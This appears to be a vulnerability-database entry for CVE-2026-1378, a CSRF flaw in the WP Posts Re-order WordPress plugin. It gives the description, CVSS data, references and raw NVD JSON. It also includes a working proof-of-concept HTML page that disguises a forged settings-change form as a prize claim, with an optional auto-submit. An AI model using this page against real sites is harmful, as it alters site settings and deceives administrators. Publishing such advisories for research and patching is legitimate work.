CVE-2026-1378

Description

The WP Posts Re-order plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the `cpt_plugin_options()` function. This makes it possible for unauthenticated attackers to update the plugin settings including capability, autosort, and adminsort settings, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Posts Re-order <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-1378
  Description: HTML page demonstrating the CSRF vulnerability.
  Usage: Host this file and trick the admin into clicking the button.
-->
<html>
  <body>
    <h1>You have won a prize!</h1>
    <p>Click the button below to claim it.</p>
    <!-- The form action points to the vulnerable plugin settings page -->
    <form action="http://target-wordpress-site/wp-admin/admin.php?page=wp-posts-re-order" method="POST">
      <!-- Malicious parameters to update plugin settings -->
      <input type="hidden" name="capability" value="edit_posts" />
      <input type="hidden" name="autosort" value="1" />
      <input type="hidden" name="adminsort" value="1" />
      <input type="submit" value="Claim Prize" />
    </form>
    <script>
      // Optional: Auto-submit the form
      // document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1378
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1378
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1378/
[4] VulDB https://vuldb.com/cve/CVE-2026-1378
[5] https://plugins.trac.wordpress.org/browser/wp-posts-re-order/tags/1.0/wp-posts-re-order.php#L572
[6] https://plugins.trac.wordpress.org/browser/wp-posts-re-order/trunk/wp-posts-re-order.php#L572
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/1a79d08e-9429-4895-bc0c-cfaa8eb161d6?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1378", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:52.810", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Posts Re-order plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the `cpt_plugin_options()` function. This makes it possible for unauthenticated attackers to update the plugin settings including capability, autosort, and adminsort settings, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin WP Posts Re-order para WordPress es vulnerable a falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0, inclusive. Esto se debe a la falta de validación de nonce en la función 'cpt_plugin_options()'. Esto permite que atacantes no autenticados actualicen la configuración del plugin, incluyendo la configuración de capacidad, autoordenación y ordenación de administradores, a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-posts-re-order/tags/1.0/wp-posts-re-order.php#L572", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-posts-re-order/trunk/wp-posts-re-order.php#L572", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1a79d08e-9429-4895-bc0c-cfaa8eb161d6?source=cve", "source": "[email protected]"}]}}